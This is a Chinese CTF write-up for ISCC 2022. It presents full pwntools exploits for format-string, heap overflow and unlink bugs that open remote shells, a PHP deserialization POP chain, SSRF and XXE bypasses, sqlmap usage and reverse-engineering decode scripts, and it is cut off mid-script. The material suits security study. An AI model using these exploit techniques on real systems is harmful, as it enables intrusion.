ISCC 2022
PWN
跳一跳(未寫完
程序流程較為簡(jiǎn)單,發(fā)現(xiàn)為64位全保護(hù)開(kāi)啟的ELF文件;
sim_treasure
簡(jiǎn)單的32位循環(huán)格式化字符串漏洞,位于棧上,無(wú)過(guò)濾\x00;且對(duì)于got表無(wú)防護(hù),故利用格式化字符串漏洞對(duì)地址泄露,并寫入printf@got為system函數(shù)地址;
調(diào)試如下:
exp如下:(運(yùn)行之后,需要先敲擊回車方可獲取權(quán)限;
from pwn import * context(os='linux',arch='i386')r = remote('123.57.69.203',7010) libc = ELF('./libc-2.27.so') sl = lambda payload : r.sendline(payload) ru = lambda str : r.recvuntil(str)ru("Can you find the magic word?\n") sl('%35$p')#泄露libc地址,計(jì)算偏移量得到system函數(shù)地址 libc_base = int(r.recvuntil(b'\n')[:-1],16)-libc.symbols['__libc_start_main']-241 system = libc_base+libc.symbols['system']payload = fmtstr_payload(6,{0x8049a60:system})#寫入printf@got為system函數(shù)地址 sl(payload) #gdb.attach(r) r.send(b'/bin/sh\x00')#觸發(fā)system("/bin/sh\x00");獲取權(quán)限r.interactive()ISCC{a080-1273-4251-bbc7-aa89}
untidy_note
位于Free釋放函數(shù)之中,存在UAF漏洞;位于Edit編輯函數(shù)之中,存在堆溢出漏洞;但是位于遠(yuǎn)程版本之中,無(wú)法造成tcache double free;故采用堆溢出來(lái)造成堆塊重疊;進(jìn)而獲取權(quán)限;
調(diào)試如下:(泄露地址是為關(guān)鍵,但是程序不允許申請(qǐng)大的堆塊;故利用malloc_consolidate觸發(fā)得到unsorted bin的堆塊,進(jìn)而泄露地址;
如下,修改成功;
exp如下:
from pwn import *binary = './untidy_note' r = remote('123.57.69.203',7030) #r = process(binary) elf = ELF(binary) #libc = elf.libc libc = ELF('./libc-2.27.so') sla = lambda str,pay : r.sendlineafter(str,pay) def malloc(size=0x18):sla("Your choose is:\n",'1')sla("the note size is:\n",str(size))def free(index):sla("Your choose is:\n",'2')sla("index:\n\n",str(index))def edit(index,payload):sla("Your choose is:\n",'3')sla("index:\n",str(index))sla("the size is:\n",str(len(payload)))r.sendafter("Content:\n",payload)def print(index):sla("Your choose is:\n",'4')sla("index:\n",str(index))sla("Welcome to use untidy_note,Your name is:",'HN-meng') for i in range(18):malloc(0x1f) malloc(0x6)#18 for i in range(18):free(i)edit(18,b'a'*0x18+p64(0x11)) malloc()#1 觸發(fā)malloc_consolidate,從而得到unsorted bin print(1)#1 泄露地址,進(jìn)而可以計(jì)算出free_hook地址與system地址libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-608-0x10-libc.symbols['__malloc_hook'] free_hook = libc_base+libc.symbols['__free_hook'] system = libc_base+libc.symbols['system']edit(6,p64(free_hook))#編輯tcache[0x30][0/7]的fd指針,使其指向free_hook位置 malloc(0x1f)#2 malloc(0x1f)#3 申請(qǐng)free_hook地址內(nèi)容 edit(3,p64(system))# 寫入system函數(shù)地址 edit(2,b'/bin/sh\x00') #gdb.attach(r) free(2)#觸發(fā)system("/bin/sh\x00");獲取權(quán)限r.interactive()ISCC{f1a4-75fe-4e77-9084-c69f}
create_id
函數(shù)流程極其簡(jiǎn)單,題目極其簡(jiǎn)單;
exp如下:
from pwn import * context(os='linux',arch='i386')r = remote('123.57.69.203',5310) x_addr = int(r.recvuntil("\n")[:-1],16) for i in range(3):r.sendline('0')payload = fmtstr_payload(10,{x_addr:9}) r.sendlineafter("What's your name?\n",payload)r.interactive()ISCC{a54a-aa1e-4d2d-942e-21f8}
heapheap
該為2.27libc的堆題;較為簡(jiǎn)單,主體流程清晰可見(jiàn),僅僅存在申請(qǐng)函數(shù)與釋放函數(shù);相當(dāng)于malloc與free函數(shù)套了層殼而已;
漏洞位于Allocate申請(qǐng)函數(shù)之中,存在off by null漏洞;
而Free釋放函數(shù)之中,卻存在著一個(gè)較為嚴(yán)密的保護(hù):
此時(shí)我們已知信息off by null;且libc為2.27;而libc2.27相對(duì)于libc2.23之中的Unlink多了一下保護(hù):
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))malloc_printerr ("corrupted size vs. prev_size");該保護(hù)杜絕了我們利用Unlink向后合并,但時(shí)并沒(méi)有杜絕Unlink向前合并;故利用Unlink向前合并來(lái)造成堆塊重疊,進(jìn)而連續(xù)利用該漏洞攻擊__malloc_hook為gadget即可;步驟如下:
調(diào)試如下:
exp如下:
from pwn import * context(os='linux',arch='amd64')binary = './heapheap' elf = ELF(binary) #libc = elf.libc libc = ELF('./libc-2.27.so') def Allocate(size=0xf0,data=b'/bin/sh\x00'):r.sendlineafter("Please input your choice: ",'1')r.sendlineafter("Please input the size:",str(size))r.sendafter("Data:",data)def Free(index):r.sendlineafter("Please input your choice: ",'2')r.sendlineafter("Please input the index:",str(index))one = [0x4f3d5,0x4f432,0x10a41c] def pwn():Allocate(0x4ef)#0Allocate()#1Allocate(0x4ef)#2Allocate()#3Free(2)Free(1)Free(0)Allocate(0xf8,b'a'*0xf0+p64(0x600))#0Allocate(0x4f0)#1Free(1)#堆塊重疊 位于中間堆塊為0Free(0)#釋放tcache bin[0x100] 提前準(zhǔn)備Allocate(0x4ef)#0Allocate(0x5f,b'\x60\xd7')#1 重疊塊 爆破payload = p64(0xFBAD1800)+p64(0)*3+p8(0)Allocate()#2Free(2)#釋放tcache bin[0x70] 提前準(zhǔn)備#gdb.attach(r)Allocate(0xf0,payload)#2 IObuf = r.recvuntil("****")stdin_addr = u64(buf[len(buf)-31:len(buf)-23])#leaklibc_base = stdin_addr-libc.symbols['_IO_2_1_stdin_']malloc_hook = libc_base+libc.symbols['__malloc_hook']info("leak success")success(hex(libc_base))success(hex(stdin_addr))# 1 2Free(1)Allocate(0x5f,p64(malloc_hook))#4Allocate(0x5f)#5Allocate(0x5f,p64(one[2]+libc_base))#6#gdb.attach(r)info("attack success")r.sendlineafter("Please input your choice: ",'1')r.sendlineafter("Please input the size:",str(0x18))r.interactive()#0x3eba00while(True):try:#r = process(binary)r = remote('123.57.69.203',5320)pwn()except:r.close()warn("can you try again")ISCC{bfa8-f7b7-49ee-8cbe-b455}
unlink
發(fā)現(xiàn)為64位GLIBC為2.27的ELF;流程極為簡(jiǎn)易,如下(存在堆溢出漏洞):
故采用常規(guī)的2.27libc之中的Unlink向前合并,此時(shí)發(fā)現(xiàn)并沒(méi)有給出libc附件,故采用LibcSearcher庫(kù);
思路:
如下,為通用的Unlink攻擊手段:(該exp本地通過(guò),遠(yuǎn)程未通過(guò);
from pwn import * from LibcSearcher import LibcSearcher context(log_level='debug',os='linux',arch='amd64')binary = './attachment-38' r = remote('123.57.69.203',5810) #r = process(binary) elf = ELF(binary) libc = elf.libc free_got = elf.got['free'] system_plt = elf.plt['system'] sh_addr = 0x0400896 def Allocate(index,size=0x18,data=b'/bin/sh'):r.sendline("add")r.sendlineafter("Index: ",str(index))r.sendlineafter("Size: ",str(size))r.sendlineafter("Data: ",data)def Free(index):r.sendline("remove")r.sendlineafter("Index: ",str(index))Allocate(0,0x410)#0 Allocate(1,0x68)#1 Allocate(2,0x410)#2 Allocate(3,0x68)#3Free(2) Free(1) Free(0) Allocate(0,0x410)#0 Allocate(1,0x68,b'a'*0x60+p64(0x490)+p64(0x420))#1 Free(0)#堆塊重疊#Free(1) Allocate(0,0x3f0) Allocate(2,0x18,b'b'*0x18+p32(0x71)) Free(1) main_arena = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96 libc = LibcSearcher('__malloc_hook',main_arena-0x10) #libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.symbols['__malloc_hook'] libc_base = main_arena-libc.dump('__malloc_hook')-0x10 system = libc_base+libc.dump('system')#libc.symbols['system'] free_hook = libc_base+libc.dump('__free_hook')#libc.symbols['__free_hook']Free(2) Allocate(2,0x18,b'c'*0x18+p64(0x71)+p64(free_hook))Allocate(1,0x68) Allocate(2,0x68,p64(system)) success(hex(libc_base)) #gdb.attach(r) Free(1)r.interactive()故排除錯(cuò)誤,發(fā)現(xiàn)了錯(cuò)誤位于上方腳本38行;進(jìn)行嘗試,發(fā)現(xiàn)遠(yuǎn)程libc2.27存在key;同時(shí)發(fā)現(xiàn)程序之中存在后門函數(shù),故可以省略泄露地址該步驟;在堆塊重疊之后直接可以修改got表為后面函數(shù)地址;
exp如下:(該exp遠(yuǎn)程通過(guò)
from pwn import * context(log_level='debug',os='linux',arch='amd64')r = remote('123.57.69.203',5810) elf = ELF('./attachment-38') puts_got = elf.got['puts'] def Allocate(index,size=0x18,data=b'/bin/sh'):r.sendline("add")r.sendlineafter("Index: ",str(index))r.sendlineafter("Size: ",str(size))r.sendlineafter("Data: ",data)def Free(index):r.sendline("remove")r.sendlineafter("Index: ",str(index))Allocate(0,0x410)#0 Allocate(1,0x68)#1 Allocate(2,0x410)#2 Allocate(3,0x68)#3Free(2) Free(1) Free(0) Allocate(0,0x410)#0 Allocate(1,0x68,b'a'*0x60+p64(0x490)+p64(0x420))#1 Free(0)#堆塊重疊Free(1) Allocate(5,0x410) Allocate(0,0x70,p64(puts_got))Allocate(1,0x68,b'/bin/sh\x00') Allocate(2,0x68,p32(0x400706)+b'\x00\x00')#0x400706 #gdb.attach(r,'b *0x400a8a') Free(1)r.interactive()ISCC{bbe4-b83a-47f8-8264-3411}
h-o-s
存在邏輯漏洞,故可以造成堆塊重疊;
思路:
查詢libc庫(kù),找了很多l(xiāng)ibc,但是遠(yuǎn)程依舊不通;此時(shí)我們想到了其中存在著后門函數(shù),故我們直接往free_hook寫入后門函數(shù)即可獲取權(quán)限;
exp如下:
from pwn import * from LibcSearcher import * context(log_level='debug',os='linux',arch='amd64')binary = './attachment-39' r = remote('123.57.69.203',5820) #r = process(binary) elf = ELF(binary) #libc = elf.libc #libc = ELF("/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") bss_ck = 0x0601120 cmd = 0x6010a0 def malloc(size=0x18,data=b''):r.sendline("fill")r.sendline(str(size))r.sendline(data)free = lambda : r.sendline("get") freeOver = lambda payload : r.sendline(b"get".ljust(8,b'\x00')+payload)malloc(0x91,b'a'*0x80+p64(0)+p64(0xf1)) for i in range(7):malloc(0x91) for i in range(6):free() freeOver(p64(0)*2+p64(0xc1)+p64(0)+p64(0xb1)+b'a'*0x48+p64(0x6010c0))free() free()malloc(0x41) malloc(0x48)#消除 unsorted bin free()#排布bss_ck malloc(0x91) malloc(0xb1,p64(0)+p64(0xb1)+b'b'*0x48+p32(0x6010c0)+b'\x00\x00\x00') free() free()malloc(0x91) for i in range(3):malloc(0xa0) for i in range(3):free() malloc(0xe1,p64(0)+p64(0xa1)+b'c'*0x90+p64(0)+p64(0x521)) free() free()malloc(0x91) malloc(0x91) malloc(0x130) malloc(0xe1,p64(0)+p64(0xa1)+b'c'*0x90+p64(0)+p64(0x151)) free() free() malloc(0x140,b'd'*0x90+p64(0)+p64(0xa1)+b'd'*0x90+p64(0)+p64(0xa1)) free() malloc(0xe1,p64(0)+p64(0xa1)+b'c'*0x90+p64(0)+p64(0x141)) free()#恢復(fù)結(jié)構(gòu)free()#泄露libc地址 main_arena = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96 #libc = LibcSearcher('__malloc_hook',main_arena-0x10) #libc_base = main_arena-0x10-libc.dump('__malloc_hook') #system = libc_base+libc.dump('system') #free_hook = libc_base+libc.dump('__free_hook') '''libc_base = main_arena-0x10-libc.symbols['__malloc_hook'] system = libc_base+libc.symbols['system'] free_hook = libc_base+libc.symbols['__free_hook']''' libc_base = main_arena-0x10-0x03ebc30 free_hook = libc_base+0x03ed8e8 system = libc_base+0x004f550free() malloc(0x140,b'e'*0x90+p64(0)+p64(0xa1)+p64(free_hook-0x8)) malloc(0x91) malloc(0x91,b'/bin/sh\x00'+p64(system)) success(hex(cmd)) success("libc_base -> "+hex(libc_base)) success(hex(main_arena-0x10)) #gdb.attach(r) #free() malloc(0xa1,b'/bin/sh\x00') free()r.interactive()ISCC{af31-219c-4214-b561-930e}
Huge_Space(未寫
from pwn import * context(log_level='debug',os='linux',arch='amd64')binary = './attachment-33' #r = remote('123.57.69.203',5330) r = process(binary) elf = ELF(binary) libc = elf.libcpop_rdi_ret = 0x00400be3 leave_ret = 0x0040090f ret = 0x00400709 sh = 0x04008F6 cmd_addr = 0x6010c0 def Allocate(index,size=0x18,data=b'/bin/sh\x00'):r.sendline("+++")r.sendlineafter("Index:",str(index))r.sendlineafter("Size: ",str(size))r.sendlineafter("Data: ",data)def Show(index,size):r.sendline("print")r.sendlineafter("Index: ",str(index))r.sendlineafter("Size: ",str(size))r.sendline(p64(0)*8+p64(cmd_addr+0x350)+p64(leave_ret))#布置棧遷移Allocate(0,0x18,p64(0)*3+p64(0xd81))#修改top chunk的size域 Allocate(1,0x1000)#觸發(fā)malloc consolidateAllocate(2,0xd50,b'aaaaaa')#將原h(huán)eap申請(qǐng)完畢 Show(2,0x10)#泄露地址 main_arena = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96 libc_base = main_arena-0x10-libc.symbols['__malloc_hook']Allocate(3,0x22000,b'a'*0x10+b'\x00'*(0x24518)+p64(0))#24518 success(hex(main_arena)) gdb.attach(r,'b *0x400b65')#gdb.attach(r,'b *0x0400971')one1 = 0x0400BDA one2 = 0x0400BC0 payload = p64(one1)+p64(0)+p64(1)+p64(cmd_addr+0x10)+p64(0)+p64(0)+p64(0x601458)+p64(one2)+b'/bin/sh\x00' r.sendline(b"exit\x00\x00\x00\x00"+b'/bin/sh\x00'+p64(sh)+b'b'*0x340+payload)r.interactive()WEB
冬奧會(huì)
該題較為簡(jiǎn)單;
ISCC{W11lcOme_t0_Beijing8_2O22_W111Nter_0lymp1cs}
Easy-SQL
如下,發(fā)現(xiàn)
┌──(kali?kali)-[~/桌面]
└─$ sqlmap -u “http://59.110.159.206:7010/?id=1” -dbs --batch
然后經(jīng)過(guò)測(cè)試,發(fā)現(xiàn)select被ban了,故利用MYSQL8特性TABLE發(fā)現(xiàn)了zip文件
對(duì)http://59.110.159.206:7010/ypHeMPardErE.zip@beaxia.cn該鏈接進(jìn)行下載zip文件
如下語(yǔ)句,為拼接語(yǔ)句;GET[id]無(wú)法使用select語(yǔ)句; $sql = "select * from users where id=$id"; $safe = preg_match('/select/is', $id);如下為POST[username、passwd]的傳參,以及拼接代碼;發(fā)現(xiàn)對(duì)于passwd經(jīng)過(guò)了sqlWaf過(guò)濾; $username = strval($_POST['username']); $passwd = strval($_POST['passwd']); if ( !sqlWaf($passwd) )die('damn hacker'); $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";sqlWaf函數(shù)如下: function sqlWaf($s) {$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';if (preg_match($filter,$s))return False;return True; }ISCC{Sql123_InJect10n_Is_sImp15le_IsNT_it}
Pop2022
首先發(fā)現(xiàn)為PHP反序列化攻擊,同時(shí)發(fā)現(xiàn)其為原題BUUCTF [MRCTF2020]Ezpop;僅僅改了變量而已;可以查詢資料;開(kāi)始攻擊;如下為分析過(guò)程:
class Road_is_Long{public $page;public $string;public function __construct($file='index.php'){//創(chuàng)建時(shí),觸發(fā)該函數(shù)$this->page = $file;}public function __toString(){//當(dāng)echo對(duì)象時(shí),觸發(fā)該函數(shù)return $this->string->page;}public function __wakeup(){//反序列化觸發(fā)該函數(shù)if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {echo "You can Not Enter 2022";$this->page = "index.php";}} }class Try_Work_Hard{protected $var;public function append($value){include($value);//包含文件,危險(xiǎn)函數(shù)}public function __invoke(){//當(dāng)對(duì)象作為函數(shù)調(diào)用的時(shí)候,將會(huì)調(diào)用該函數(shù)$this->append($this->var);} }class Make_a_Change{public $effort;public function __construct(){$this->effort = array();}public function __get($key){//當(dāng)訪問(wèn)一些不可訪問(wèn)的對(duì)象屬性時(shí),調(diào)用該方法$function = $this->effort;return $function();} }如下為exp;(將會(huì)獲取flag.php經(jīng)過(guò)base64轉(zhuǎn)換后的密文,故使用base64解密即可;
class Try_Work_Hard {protected $var="php://filter/read=convert.base64-encode/resource=flag.php";}class Make_a_Change{public $effort;} class Road_is_Long{public $page;public $string;public function __construct(){$this->string = new Make_a_Change();} }$a = new Road_is_Long(); $a->page = new Road_is_Long(); $a->page->string->effort = new Try_Work_Hard(); echo urlencode(serialize($a)); /* 思路為: 首先讓Make_a_Change對(duì)象中的$effort作為對(duì)象,然后觸發(fā)__get函數(shù),導(dǎo)致$effort作為函數(shù)執(zhí)行; 此時(shí)我們讓$effort為Try_Work_Hard對(duì)象,則會(huì)執(zhí)行__invoke函數(shù),進(jìn)而調(diào)用了append函數(shù),進(jìn)行了文件包含攻擊,讀出flag 鏈子圖如下: Road -|-|-page -> Road -|-|-string |-page -> Make -|-|-string |-effort -> Try -|-|-var */解密后原文如下:
<?php //ISCC{125fafa1_BeiJIN9G_H0t_fffffff5word}讓我康康!(未寫完
經(jīng)過(guò)一定的嘗試,發(fā)現(xiàn)訪問(wèn)一些路徑時(shí)Server字段改為了mitmproxy;而mitmproxy為中間代理;故服務(wù)端為gunicorn/20.0.0服務(wù),且存在中間代理;故可以嘗試請(qǐng)求走私;
如下,小小測(cè)試,得到一個(gè)flag所在位置信息,嘗試直接訪問(wèn),發(fā)現(xiàn)被WAF了
嘗試走私,利用gunicorn <= 20.0.4版本下的通用走私漏洞;發(fā)現(xiàn)存在走私漏洞;
secr3t_ip:127.0.0.1
findme
首先查看源碼,發(fā)現(xiàn)提示信息;故訪問(wèn)http://59.110.159.206:8030/unser.php;得到源碼;
<?phphighlight_file(__FILE__);class a{public $un0;public $un1;public $un2;public $un3;public $un4;public function __destruct(){if(!empty($this->un0) && empty($this->un2)){$this -> Givemeanew();if($this -> un3 === 'unserialize'){$this -> yigei();}else{$this -> giao();}}}public function Givemeanew(){$this -> un4 = new $this->un0($this -> un1);}public function yigei(){echo 'Your output: '.$this->un4;}public function giao(){@eval($this->un2);}public function __wakeup(){include $this -> un2.'hint.php';} }$data = $_POST['data']; unserialize($data);可以發(fā)現(xiàn)存在hint.php位于__wakeup()魔術(shù)方法之中;故使用php偽協(xié)議經(jīng)過(guò)拼接讀取hint.php;
<?php highlight_file(__FILE__); class a{public $un0;public $un1;public $un2;public $un3;public $un4;public function __construct(){ include $this -> un2.'hint.php';} }$a=new a(); $a->un2= 'php://filter/read=convert.base64-encode/resource='; $s = serialize($a); echo $s; #O:1:"a":5:{s:3:"un0";N;s:3:"un1";N;s:3:"un2";s:49:"php://filter/read=convert.base64-encode/resource=";s:3:"un3";N;s:3:"un4";N;}如下,發(fā)現(xiàn)了hint.php:
<?php $a = 'flag在當(dāng)前目錄下以字母f開(kāi)頭的txt中,無(wú)法爆破出來(lái)';如上,為解密后的內(nèi)容,此時(shí)我們便得知了一個(gè)新的信息,flag所在位置信息;
glob是php自5.3.0版本起開(kāi)始生效的一個(gè)用來(lái)篩選目錄的偽協(xié)議,由于它在篩選目錄時(shí)是不受open_basedir的制約的,所以我們可以利用它來(lái)繞過(guò)限制,我們新建一個(gè)目錄在/var/www/下命名為test;
FilesystemIterator為php目錄迭代器
故利用glob偽協(xié)議,查看匹配的文件路徑模式;進(jìn)而得到flag文件名,進(jìn)而訪問(wèn)該文件得到flag;
<?php highlight_file(__FILE__); class a{public $un0= 'FilesystemIterator';public $un1= 'glob://f*';public $un3= 'unserialize'; } $a = new a(); echo serialize($a);ISCC{W0w!_You_r3a1_KN0~_Unse2!!!}
愛(ài)國(guó)敬業(yè)好青年-2
首先查看源代碼,發(fā)現(xiàn)了一些特別的東西,如下:
<script>$(document).ready(function(){//ready方法檔加載后激活函數(shù)$("iframe").attr({"src":"inner"})//iframe中src屬性嵌套的頁(yè)面的 URL 地址$.ajax({url:"change",type:"GET"});//該部分訪問(wèn)了遠(yuǎn)程的url資源$("button").removeAttr("disabled");//該部分移除了disabled屬性setTimeout(function () {$("button").attr({"disabled":"true"});},1200)setTimeout(function () {$.ajax({url:"change",type:"POST"});},2000)}); </script> <!該部分為js代碼,可以發(fā)現(xiàn)其使用了ajax(該方法通過(guò) HTTP 請(qǐng)求加載遠(yuǎn)程數(shù)據(jù))<form class="form" id="a-form" method='POST' action="flag"> <button type="submit" id='true_button' disabled ='true'>提交</button> <!該部分為html代碼,可以發(fā)現(xiàn)其使用了POST方法,訪問(wèn)了flag頁(yè)面; <p>經(jīng)緯度示例:177°30'E, 25°33'N<a style ="border:none;cursor:default;" onclick="return false" href="info"></a>!</p> <!該代碼可以發(fā)現(xiàn)存在info頁(yè)面,該頁(yè)面為一個(gè)假的flag;而對(duì)于onclink事件返回假,無(wú)法返回真;故,我們根據(jù)該部分代碼,發(fā)現(xiàn)了inner、change、flag、info四個(gè)頁(yè)面;而這四個(gè)url資源分別負(fù)責(zé)不同的功能;inner頁(yè)面為提交頁(yè)面,嵌入到了原頁(yè)面;change猜測(cè)為一個(gè)開(kāi)關(guān);flag頁(yè)面為flag所在頁(yè)面,但不能直接訪問(wèn);info頁(yè)面為一個(gè)假的flag頁(yè)面;
查看inner頁(yè)面,發(fā)現(xiàn)如下js代碼:
<button style="opacity: 1" type="submit" id='button' onclick="enable()">提交</button> <script type="text/javascript"> function enable(){window.alert('flas=icss{Y0u_M@y_FiNd_1_WRONG_eNtrance!!!}') } </script> <!該部分代碼將永遠(yuǎn)返回的是假的flag此時(shí)再看原網(wǎng)頁(yè)代碼,發(fā)現(xiàn)其以POST的形式提交給flag頁(yè)面 lati、langti變量于flag頁(yè)面,但是由于原頁(yè)面的js代碼限制,無(wú)論提交什么都會(huì)返回假的flag,而提交形式提示為經(jīng)緯度;
經(jīng)過(guò)多次嘗試,發(fā)現(xiàn)模擬原網(wǎng)頁(yè)的訪問(wèn)流程;但繞過(guò)原網(wǎng)頁(yè)的限制直接對(duì)flag頁(yè)面POST傳參,首先訪問(wèn)change頁(yè)面,再次POST傳參flag頁(yè)面(北京天安門廣場(chǎng)經(jīng)緯度),發(fā)現(xiàn)flag;
ISCC{YY9YYe7Eessss_1_10vE_ChIN@0_159SNO}
這是一道代碼審計(jì)題
訪問(wèn)頁(yè)面,發(fā)現(xiàn)提示為/index,故訪問(wèn)index頁(yè)面,發(fā)現(xiàn)出現(xiàn)字符404;然后使用BP抓包,發(fā)現(xiàn)存在Cookie字段,而我們并未有過(guò)登錄的操作,故我們嘗試修改Cookie,發(fā)現(xiàn)提示:
故添加嘗試傳參?url=127.0.0.1,發(fā)現(xiàn)代碼;
訪問(wèn)頁(yè)面,發(fā)現(xiàn)存在加密,故進(jìn)行base100解密,進(jìn)而獲取源代碼;
from flask import render_template import addr as addr import urlparse import struct import socket import base64 import redef geneSign():if(control_key==1):return render_template("index.html")#返回替換模板參數(shù)后的模板文本,即返回index.html文本內(nèi)容,經(jīng)過(guò)嘗試,發(fā)現(xiàn)無(wú)法直接訪問(wèn)else:return "You have not access to this page!"def check_ssrf(url):#檢測(cè)ssrf函數(shù),關(guān)鍵函數(shù)hostname = urlparse(url).hostname#urlparse庫(kù)用于把url解析為各個(gè)組件,此時(shí)得到主機(jī)名(即域名或IP地址try:if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):#正則匹配if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):#該處匹配了@字符,與下方的匹配一直raise BaseException("url format error")if re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):#看似需要通過(guò)三處匹配,實(shí)則只進(jìn)行了一個(gè)匹配if judge_ip(hostname):#需要再次通過(guò)跳轉(zhuǎn)IP函數(shù)return Truereturn False, "You not get the right clue!"else:#該跳轉(zhuǎn)之后為False,無(wú)需關(guān)心ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]if is_inner_ipaddress(ip_address):return False,"inner ip address attack"else:return False, "You not get the right clue!"except BaseException as e:return False, str(e)except:return False, "unknow error"def ip2long(ip_addr):return struct.unpack("!L", socket.inet_aton(ip_addr))[0]def is_inner_ipaddress(ip):ip = ip2long(ip)print(ip)return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24def waf1(ip):#該函數(shù)相當(dāng)于匹配是否存在forbidden_list列表之中的字符forbidden_list = [ '.', '0', '1', '2', '7']for word in forbidden_list:if ip and word:if word in ip.lower():return Truereturn Falsedef judge_ip(ip):if(waf1(ip)):#首先需要通過(guò)一層WAFreturn Falseelse:addr = addr.encode(encoding = "utf-8")ipp = base64.encodestring(addr)#base64ipp = ipp.strip().lower().decode()#分割小寫if(ip==ipp):#判斷是否相等global control_keycontrol_key = 1#如果相等,則設(shè)置key為1return Trueelse:return False進(jìn)行一定的代碼審計(jì),發(fā)現(xiàn)我們直接傳入127.0.0.1將會(huì)被ban掉;所以按代碼邏輯,將127.0.0.1進(jìn)行base64加密之后為MTI3LjAuMC4x,故該加密最后執(zhí)行時(shí)將會(huì)被解密為127.0.0.1,從而達(dá)到SSRF的效果;
此時(shí)我們又得到了新的信息,便是/mti3ljaumc4x與一個(gè)Cookiea_cookie = aW4gZmFjdCBjb29raWUgaXMgdXNlZnVsIQ==
故我們攜帶該Cookie并訪問(wèn)頁(yè)面/mti3ljaumc4x,發(fā)現(xiàn)存在登錄框,且泄露了一定的信息:
嘗試采用XXE泄露flag;
<script type="text/javascript">function codelogin(){var name = $("#name").val();var password = $("#password").val();if(name == "" || word == ""){alert("Please enter the username and password!");return;}//聲明數(shù)據(jù),將位于下方ajax訪問(wèn)之中傳遞數(shù)據(jù)var data = "<user><name>" + name + "</name><password>" + password + "</password></user>";$.ajax({contentType: "application/xml;charset=utf-8",type: "POST",url: "codelogin",//發(fā)現(xiàn)存在codelogin頁(yè)面data: data,//數(shù)據(jù)dataType: "xml",//表明數(shù)據(jù)為xml類型anysc: false,success: function (result) {//getElementsByTagName返回帶有指定標(biāo)簽名的對(duì)象的集合var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;if(code == "0"){$(".msg").text(msg + " login fail!");//返回 id 為 msg 的元素節(jié)點(diǎn)的文本內(nèi)容}else if(code == "1"){$(".msg").text(msg + " login success!");}else{$(".msg").text("error:" + msg);}},error: function (XMLHttpRequest,textStatus,errorThrown) {$(".msg").text(errorThrown + ':' + textStatus);} }); } </script>故我們可以直接向codelogin頁(yè)面以POST形式提交data,而data之中利用XXE來(lái)泄露出flag;故利用$(“.msg”).text進(jìn)而回顯flag
ISCC{jQvb8-aqiuVtrX19-i71bl18c-ew08Sq0xf}
參考鏈接: XXE從入門到放棄
Reverse
Amy’s Code
首先PE探測(cè)為32位;進(jìn)而使用ida32打開(kāi);搜索main函數(shù);
發(fā)現(xiàn)sub_411433函數(shù)之中sub_412550函數(shù)存在加密流程;加密過(guò)程為如下;array為數(shù)組,ida32可以查看發(fā)現(xiàn);同時(shí)發(fā)現(xiàn)sub_4115FF(Destination);之中存在異或加密;
strcpy((char *)str, "LWHFUENGDJGEFHYDHIGJ"); HIBYTE(str[10]) = 0; str[11] = 0; v7 = 0; v8 = 0; len = j__strlen(flag); j__memset(array, 0, 0x78u); for ( i = 0; i < len; ++i )array[i] = *((char *)str + i) + flag[i];如下為解密腳本;
array = [149,169,137,134,212,188,177,184,177,197,192,179,153,145,156,193,161,190,161,184] str = "LWHFUENGDJGEFHYDHIGJ" flag = "" for i in range(len(str)):flag = array[i] - ord(str[i])flag ^= iprint(chr(flag),end='')ISCC{reverse_DMrIdH}
How_decode
64位Windows可執(zhí)行程序,使用ida64進(jìn)行反匯編,發(fā)現(xiàn)以下關(guān)鍵代碼:
因?yàn)閙m數(shù)組為int類型,32位;而python很難去處理這樣擁有固定上限的數(shù)據(jù),所以我們采用C語(yǔ)言來(lái)處理這樣的數(shù)據(jù);
如上為關(guān)鍵加密腳本;故我們根據(jù)上面代碼于C編譯器之中,修改部分代碼運(yùn)行即可獲取flag;
如下為解密腳本:
#include<iostream> using namespace std;void __cdecl decode(int *v, int n, const int *key) {int *v4; // raxint *v5; // raxint y; // [rsp+8h] [rbp-18h]int e; // [rsp+Ch] [rbp-14h]int rounds; // [rsp+10h] [rbp-10h]int p; // [rsp+14h] [rbp-Ch]int sum; // [rsp+18h] [rbp-8h]int z; // [rsp+1Ch] [rbp-4h]//v為輸入的flag,n為輸入的長(zhǎng)度18,key為固定值 rounds = 52 / n + 6;sum = rounds * -1640531527;y = v[0];for (; rounds--;){e = (sum >> 2) & 3;//固定值 for ( p = n - 1; p >= 0 ; --p ){z = v[(p + n -1)%n];v4 = &v[p];*v4 -= ((y ^ sum) + (z ^ key[e ^ (p & 3)])) ^ (((4 * y) ^ (z >> 5)) + ((y >> 3) ^ (16 * z)));y = v[p];}sum += 1640531527;} }int main() {int mm[32]; // [rsp+20h] [rbp-60h] BYREFint k[4]; // [rsp+A0h] [rbp+20h] BYREFmm[0] = 137373765;mm[1] = -1499780648;mm[2] = 724715491;mm[3] = 81257581;mm[4] = 1504671520;mm[5] = -1297390125;mm[6] = -915424294;mm[7] = -1643886293;mm[8] = 370393719;mm[9] = 837200773;mm[10] = 554624892;mm[11] = -440804440;mm[12] = 1197608501;mm[13] = 1866916284;mm[14] = -2081810180;mm[15] = 236155496;mm[16] = 748155328;mm[17] = -1413892284;k[0] = 73;k[1] = 83;k[2] = 67;k[3] = 67;decode(mm, 18, 